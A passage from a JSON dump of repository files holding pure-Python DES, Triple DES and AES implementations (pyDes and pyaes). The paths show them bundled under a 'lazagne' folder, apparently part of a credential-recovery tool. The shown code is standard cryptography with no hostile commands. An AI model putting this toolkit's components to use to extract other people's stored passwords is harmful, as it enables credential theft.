12],\n\n        # S8\n        [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,\n         1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,\n         7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,\n         2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],\n    ]\n\n    # 32-bit permutation function P used on the output of the S-boxes\n    __p = [\n        15, 6, 19, 20, 28, 11,\n        27, 16, 0, 14, 22, 25,\n        4, 17, 30, 9, 1, 7,\n        23, 13, 31, 26, 2, 8,\n        18, 12, 29, 5, 21, 10,\n        3, 24\n    ]\n\n    # final permutation IP^-1\n    __fp = [\n        39, 7, 47, 15, 55, 23, 63, 31,\n        38, 6, 46, 14, 54, 22, 62, 30,\n        37, 5, 45, 13, 53, 21, 61, 29,\n        36, 4, 44, 12, 52, 20, 60, 28,\n        35, 3, 43, 11, 51, 19, 59, 27,\n        34, 2, 42, 10, 50, 18, 58, 26,\n        33, 1, 41, 9, 49, 17, 57, 25,\n        32, 0, 40, 8, 48, 16, 56, 24\n    ]\n\n    # Type of crypting being done\n    ENCRYPT = 0x00\n    DECRYPT = 0x01\n\n    # Initialisation\n    def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):\n        # Sanity checking of arguments.\n        if len(key) != 8:\n            raise ValueError(\"Invalid DES key size. Key must be exactly 8 bytes long.\")\n        _baseDes.__init__(self, mode, IV, pad, padmode)\n        self.key_size = 8\n\n        self.L = []\n        self.R = []\n        self.Kn = [[0] * 48] * 16  # 16 48-bit keys (K1 - K16)\n        self.final = []\n\n        self.setKey(key)\n\n    def setKey(self, key):\n        \"\"\"Will set the crypting key for this object. Must be 8 bytes.\"\"\"\n        _baseDes.setKey(self, key)\n        self.__create_sub_keys()\n\n    def __String_to_BitList(self, data):\n        \"\"\"Turn the string data, into a list of bits (1, 0)'s\"\"\"\n        if _pythonMajorVersion < 3:\n            # Turn the strings into integers. Python 3 uses a bytes\n            # class, which already has this behaviour.\n            data = [ord(c) for c in data]\n        l = len(data) * 8\n        result = [0] * l\n        pos = 0\n        for ch in data:\n            i = 7\n            while i >= 0:\n                if ch & (1 << i) != 0:\n                    result[pos] = 1\n                else:\n                    result[pos] = 0\n                pos += 1\n                i -= 1\n\n        return result\n\n    def __BitList_to_String(self, data):\n        \"\"\"Turn the list of bits -> data, into a string\"\"\"\n        result = []\n        pos = 0\n        c = 0\n        while pos < len(data):\n            c += data[pos] << (7 - (pos % 8))\n            if (pos % 8) == 7:\n                result.append(c)\n                c = 0\n            pos += 1\n\n        if _pythonMajorVersion < 3:\n            return ''.join([chr(c) for c in result])\n        else:\n            return bytes(result)\n\n    def __permutate(self, table, block):\n        \"\"\"Permutate this block with the specified table\"\"\"\n        return list(map(lambda x: block[x], table))\n\n    # Transform the secret key, so that it is ready for data processing\n    # Create the 16 subkeys, K[1] - K[16]\n    def __create_sub_keys(self):\n        \"\"\"Create the 16 subkeys K[1] to K[16] from the given key\"\"\"\n        key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))\n        i = 0\n        # Split into Left and Right sections\n        self.L = key[:28]\n        self.R = key[28:]\n        while i < 16:\n            j = 0\n            # Perform circular left shifts\n            while j < des.__left_rotations[i]:\n                self.L.append(self.L[0])\n                del self.L[0]\n\n                self.R.append(self.R[0])\n                del self.R[0]\n\n                j += 1\n\n            # Create one of the 16 subkeys through pc2 permutation\n            self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)\n\n            i += 1\n\n    # Main part of the encryption algorithm, the number cruncher :)\n    def __des_crypt(self, block, crypt_type):\n        \"\"\"Crypt the block of data through DES bit-manipulation\"\"\"\n        block = self.__permutate(des.__ip, block)\n        self.L = block[:32]\n        self.R = block[32:]\n\n        # Encryption starts from Kn[1] through to Kn[16]\n        if crypt_type == des.ENCRYPT:\n            iteration = 0\n            iteration_adjustment = 1\n        # Decryption starts from Kn[16] down to Kn[1]\n        else:\n            iteration = 15\n            iteration_adjustment = -1\n\n        i = 0\n        while i < 16:\n            # Make a copy of R[i-1], this will later become L[i]\n            tempR = self.R[:]\n\n            # Permutate R[i - 1] to start creating R[i]\n            self.R = self.__permutate(des.__expansion_table, self.R)\n\n            # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here\n            self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))\n            B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42],\n                 self.R[42:]]\n            # Optimization: Replaced below commented code with above\n            # j = 0\n            # B = []\n            # while j < len(self.R):\n            #   self.R[j] = self.R[j] ^ self.Kn[iteration][j]\n            #   j += 1\n            #   if j % 6 == 0:\n            #       B.append(self.R[j-6:j])\n\n            # Permutate B[1] to B[8] using the S-Boxes\n            j = 0\n            Bn = [0] * 32\n            pos = 0\n            while j < 8:\n                # Work out the offsets\n                m = (B[j][0] << 1) + B[j][5]\n                n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]\n\n                # Find the permutation value\n                v = des.__sbox[j][(m << 4) + n]\n\n                # Turn value into bits, add it to result: Bn\n                Bn[pos] = (v & 8) >> 3\n                Bn[pos + 1] = (v & 4) >> 2\n                Bn[pos + 2] = (v & 2) >> 1\n                Bn[pos + 3] = v & 1\n\n                pos += 4\n                j += 1\n\n            # Permutate the concatination of B[1] to B[8] (Bn)\n            self.R = self.__permutate(des.__p, Bn)\n\n            # Xor with L[i - 1]\n            self.R = list(map(lambda x, y: x ^ y, self.R, self.L))\n            # Optimization: This now replaces the below commented code\n            # j = 0\n            # while j < len(self.R):\n            #   self.R[j] = self.R[j] ^ self.L[j]\n            #   j += 1\n\n            # L[i] becomes R[i - 1]\n            self.L = tempR\n\n            i += 1\n            iteration += iteration_adjustment\n\n        # Final permutation of R[16]L[16]\n        self.final = self.__permutate(des.__fp, self.R + self.L)\n        return self.final\n\n    # Data to be encrypted/decrypted\n    def crypt(self, data, crypt_type):\n        \"\"\"Crypt the data in blocks, running it through des_crypt()\"\"\"\n\n        # Error check the data\n        if not data:\n            return ''\n        if len(data) % self.block_size != 0:\n            if crypt_type == des.DECRYPT:  # Decryption must work on 8 byte blocks\n                raise ValueError(\n                    \"Invalid data length, data must be a multiple of \" + str(self.block_size) + \" bytes\\n.\")\n            if not self.getPadding():\n                raise ValueError(\"Invalid data length, data must be a multiple of \" + str(\n                    self.block_size) + \" bytes\\n. Try setting the optional padding character\")\n            else:\n                data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()\n            # print \"Len of data: %f\" % (len(data) / self.block_size)\n\n        if self.getMode() == CBC:\n            if self.getIV():\n                iv = self.__String_to_BitList(self.getIV())\n            else:\n                raise ValueError(\"For CBC mode, you must supply the Initial Value (IV) for ciphering\")\n\n        # Split the data into blocks, crypting each one seperately\n        i = 0\n        dict = {}\n        result = []\n        # cached = 0\n        # lines = 0\n        while i < len(data):\n            # Test code for caching encryption results\n            # lines += 1\n            # if dict.has_key(data[i:i+8]):\n            # print \"Cached result for: %s\" % data[i:i+8]\n            #   cached += 1\n            #   result.append(dict[data[i:i+8]])\n            #   i += 8\n            #   continue\n\n            block = self.__String_to_BitList(data[i:i + 8])\n\n            # Xor with IV if using CBC mode\n            if self.getMode() == CBC:\n                if crypt_type == des.ENCRYPT:\n                    block = list(map(lambda x, y: x ^ y, block, iv))\n                    # j = 0\n                    # while j < len(block):\n                    #   block[j] = block[j] ^ iv[j]\n                    #   j += 1\n\n                processed_block = self.__des_crypt(block, crypt_type)\n\n                if crypt_type == des.DECRYPT:\n                    processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))\n                    # j = 0\n                    # while j < len(processed_block):\n                    #   processed_block[j] = processed_block[j] ^ iv[j]\n                    #   j += 1\n                    iv = block\n                else:\n                    iv = processed_block\n            else:\n                processed_block = self.__des_crypt(block, crypt_type)\n\n            # Add the resulting crypted block to our list\n            # d = self.__BitList_to_String(processed_block)\n            # result.append(d)\n            result.append(self.__BitList_to_String(processed_block))\n            # dict[data[i:i+8]] = d\n            i += 8\n\n        # print \"Lines: %d, cached: %d\" % (lines, cached)\n\n        # Return the full crypted string\n        if _pythonMajorVersion < 3:\n            return ''.join(result)\n        else:\n            return bytes.fromhex('').join(result)\n\n    def encrypt(self, data, pad=None, padmode=None):\n        \"\"\"encrypt(data, [pad], [padmode]) -> bytes\n\n        data : Bytes to be encrypted\n        pad  : Optional argument for encryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be encrypted\n        with the already specified key. Data does not have to be a\n        multiple of 8 bytes if the padding character is supplied, or\n        the padmode is set to PAD_PKCS5, as bytes will then added to\n        ensure the be padded data is a multiple of 8 bytes.\n        \"\"\"\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        data = self._padData(data, pad, padmode)\n        return self.crypt(data, des.ENCRYPT)\n\n    def decrypt(self, data, pad=None, padmode=None):\n        \"\"\"decrypt(data, [pad], [padmode]) -> bytes\n\n        data : Bytes to be decrypted\n        pad  : Optional argument for decryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be decrypted\n        with the already specified key. In PAD_NORMAL mode, if the\n        optional padding character is supplied, then the un-encrypted\n        data will have the padding characters removed from the end of\n        the bytes. This pad removal only occurs on the last 8 bytes of\n        the data (last data block). In PAD_PKCS5 mode, the special\n        padding end markers will be removed from the data after decrypting.\n        \"\"\"\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        data = self.crypt(data, des.DECRYPT)\n        return self._unpadData(data, pad, padmode)\n\n\n#############################################################################\n#               Triple DES                  #\n#############################################################################\nclass triple_des(_baseDes):\n    \"\"\"Triple DES encryption/decrytpion class\n\n    This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or\n    the DES-EDE2 (when a 16 byte key is supplied) encryption methods.\n    Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.\n\n    pyDes.des(key, [mode], [IV])\n\n    key  -> Bytes containing the encryption key, must be either 16 or\n            24 bytes long\n    mode -> Optional argument for encryption type, can be either pyDes.ECB\n        (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)\n    IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.\n        Must be 8 bytes in length.\n    pad  -> Optional argument, set the pad character (PAD_NORMAL) to use\n        during all encrypt/decrypt operations done with this instance.\n    padmode -> Optional argument, set the padding mode (PAD_NORMAL or\n        PAD_PKCS5) to use during all encrypt/decrypt operations done\n        with this instance.\n    \"\"\"\n\n    def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):\n        _baseDes.__init__(self, mode, IV, pad, padmode)\n        self.setKey(key)\n\n    def setKey(self, key):\n        \"\"\"Will set the crypting key for this object. Either 16 or 24 bytes long.\"\"\"\n        self.key_size = 24  # Use DES-EDE3 mode\n        if len(key) != self.key_size:\n            if len(key) == 16:  # Use DES-EDE2 mode\n                self.key_size = 16\n            else:\n                raise ValueError(\"Invalid triple DES key size. Key must be either 16 or 24 bytes long\")\n        if self.getMode() == CBC:\n            if not self.getIV():\n                # Use the first 8 bytes of the key\n                self._iv = key[:self.block_size]\n            if len(self.getIV()) != self.block_size:\n                raise ValueError(\"Invalid IV, must be 8 bytes in length\")\n        self.__key1 = des(key[:8], self._mode, self._iv,\n                          self._padding, self._padmode)\n        self.__key2 = des(key[8:16], self._mode, self._iv,\n                          self._padding, self._padmode)\n        if self.key_size == 16:\n            self.__key3 = self.__key1\n        else:\n            self.__key3 = des(key[16:], self._mode, self._iv,\n                              self._padding, self._padmode)\n        _baseDes.setKey(self, key)\n\n    # Override setter methods to work on all 3 keys.\n\n    def setMode(self, mode):\n        \"\"\"Sets the type of crypting mode, pyDes.ECB or pyDes.CBC\"\"\"\n        _baseDes.setMode(self, mode)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setMode(mode)\n\n    def setPadding(self, pad):\n        \"\"\"setPadding() -> bytes of length 1. Padding character.\"\"\"\n        _baseDes.setPadding(self, pad)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setPadding(pad)\n\n    def setPadMode(self, mode):\n        \"\"\"Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5\"\"\"\n        _baseDes.setPadMode(self, mode)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setPadMode(mode)\n\n    def setIV(self, IV):\n        \"\"\"Will set the Initial Value, used in conjunction with CBC mode\"\"\"\n        _baseDes.setIV(self, IV)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setIV(IV)\n\n    def encrypt(self, data, pad=None, padmode=None):\n        \"\"\"encrypt(data, [pad], [padmode]) -> bytes\n\n        data : bytes to be encrypted\n        pad  : Optional argument for encryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be encrypted\n        with the already specified key. Data does not have to be a\n        multiple of 8 bytes if the padding character is supplied, or\n        the padmode is set to PAD_PKCS5, as bytes will then added to\n        ensure the be padded data is a multiple of 8 bytes.\n        \"\"\"\n        ENCRYPT = des.ENCRYPT\n        DECRYPT = des.DECRYPT\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        # Pad the data accordingly.\n        data = self._padData(data, pad, padmode)\n        if self.getMode() == CBC:\n            self.__key1.setIV(self.getIV())\n            self.__key2.setIV(self.getIV())\n            self.__key3.setIV(self.getIV())\n            i = 0\n            result = []\n            while i < len(data):\n                block = self.__key1.crypt(data[i:i + 8], ENCRYPT)\n                block = self.__key2.crypt(block, DECRYPT)\n                block = self.__key3.crypt(block, ENCRYPT)\n                self.__key1.setIV(block)\n                self.__key2.setIV(block)\n                self.__key3.setIV(block)\n                result.append(block)\n                i += 8\n            if _pythonMajorVersion < 3:\n                return ''.join(result)\n            else:\n                return bytes.fromhex('').join(result)\n        else:\n            data = self.__key1.crypt(data, ENCRYPT)\n            data = self.__key2.crypt(data, DECRYPT)\n            return self.__key3.crypt(data, ENCRYPT)\n\n    def decrypt(self, data, pad=None, padmode=None):\n        \"\"\"decrypt(data, [pad], [padmode]) -> bytes\n\n        data : bytes to be encrypted\n        pad  : Optional argument for decryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be decrypted\n        with the already specified key. In PAD_NORMAL mode, if the\n        optional padding character is supplied, then the un-encrypted\n        data will have the padding characters removed from the end of\n        the bytes. This pad removal only occurs on the last 8 bytes of\n        the data (last data block). In PAD_PKCS5 mode, the special\n        padding end markers will be removed from the data after\n        decrypting, no pad character is required for PAD_PKCS5.\n        \"\"\"\n        ENCRYPT = des.ENCRYPT\n        DECRYPT = des.DECRYPT\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        if self.getMode() == CBC:\n            self.__key1.setIV(self.getIV())\n            self.__key2.setIV(self.getIV())\n            self.__key3.setIV(self.getIV())\n            i = 0\n            result = []\n            while i < len(data):\n                iv = data[i:i + 8]\n                block = self.__key3.crypt(iv, DECRYPT)\n                block = self.__key2.crypt(block, ENCRYPT)\n                block = self.__key1.crypt(block, DECRYPT)\n                self.__key1.setIV(iv)\n                self.__key2.setIV(iv)\n                self.__key3.setIV(iv)\n                result.append(block)\n                i += 8\n            if _pythonMajorVersion < 3:\n                data = ''.join(result)\n            else:\n                data = bytes.fromhex('').join(result)\n        else:\n            data = self.__key3.crypt(data, DECRYPT)\n            data = self.__key2.crypt(data, ENCRYPT)\n            data = self.__key1.crypt(data, DECRYPT)\n        return self._unpadData(data, pad, padmode)\n"
  },
  {
    "path": "Mac/lazagne/config/crypto/pyaes/__init__.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# This is a pure-Python implementation of the AES algorithm and AES common\n# modes of operation.\n\n# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\n# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation\n\n\n# Supported key sizes:\n#   128-bit\n#   192-bit\n#   256-bit\n\n\n# Supported modes of operation:\n#   ECB - Electronic Codebook\n#   CBC - Cipher-Block Chaining\n#   CFB - Cipher Feedback\n#   OFB - Output Feedback\n#   CTR - Counter\n\n# See the README.md for API details and general information.\n\n# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:\n# https://www.dlitz.net/software/pycrypto/\n\n\nVERSION = [1, 3, 0]\n\nfrom .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter\nfrom .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter\nfrom .blockfeeder import PADDING_NONE, PADDING_DEFAULT\n"
  },
  {
    "path": "Mac/lazagne/config/crypto/pyaes/aes.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# This is a pure-Python implementation of the AES algorithm and AES common\n# modes of operation.\n\n# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\n\n# Honestly, the best description of the modes of operations are the wonderful\n# diagrams on Wikipedia. They explain in moments what my words could never\n# achieve. Hence the inline documentation here is sparer than I'd prefer.\n# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation\n\n# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:\n# https://www.dlitz.net/software/pycrypto/\n\n\n# Supported key sizes:\n#   128-bit\n#   192-bit\n#   256-bit\n\n\n# Supported modes of operation:\n#   ECB - Electronic Codebook\n#   CBC - Cipher-Block Chaining\n#   CFB - Cipher Feedback\n#   OFB - Output Feedback\n#   CTR - Counter\n\n\n# See the README.md for API details and general information.\n\n\nimport copy\nimport struct\n\n__all__ = [\"AES\", \"AESModeOfOperationCTR\", \"AESModeOfOperationCBC\", \"AESModeOfOperationCFB\",\n           \"AESModeOfOperationECB\", \"AESModeOfOperationOFB\", \"AESModesOfOperation\", \"Counter\"]\n\n\ndef _compact_word(word):\n    return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]\n\ndef _string_to_bytes(text):\n    return list(ord(c) for c in text)\n\ndef _bytes_to_string(binary):\n    return \"\".join(chr(b) for b in binary)\n\ndef _concat_list(a, b):\n    return a + b\n\n\n# Python 3 compatibility\ntry:\n    xrange\nexcept NameError:\n    xrange = range\n\n    # Python 3 supports bytes, which is already an array of integers\n    def _string_to_bytes(text):\n        if isinstance(text, bytes):\n            return text\n        return [ord(c) for c in text]\n\n    # In Python 3, we return bytes\n    def _bytes_to_string(binary):\n        return bytes(binary)\n\n    # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first\n    def _concat_list(a, b):\n        return a + bytes(b)\n\n\n# Based *largely* on the Rijndael implementation\n# See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf\nclass AES(object):\n    '''Encapsulates the AES block cipher.\n\n    You generally should not need this. Use the AESModeOfOperation classes\n    below instead.'''\n\n    # Number of rounds by keysize\n    number_of_rounds = {16: 10, 24: 12, 32: 14}\n\n    # Round constant words\n    rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]\n\n    # S-box and Inverse S-box (S is for Substitution)\n    S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]\n    Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] \n\n    # Transformations for encryption\n    T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 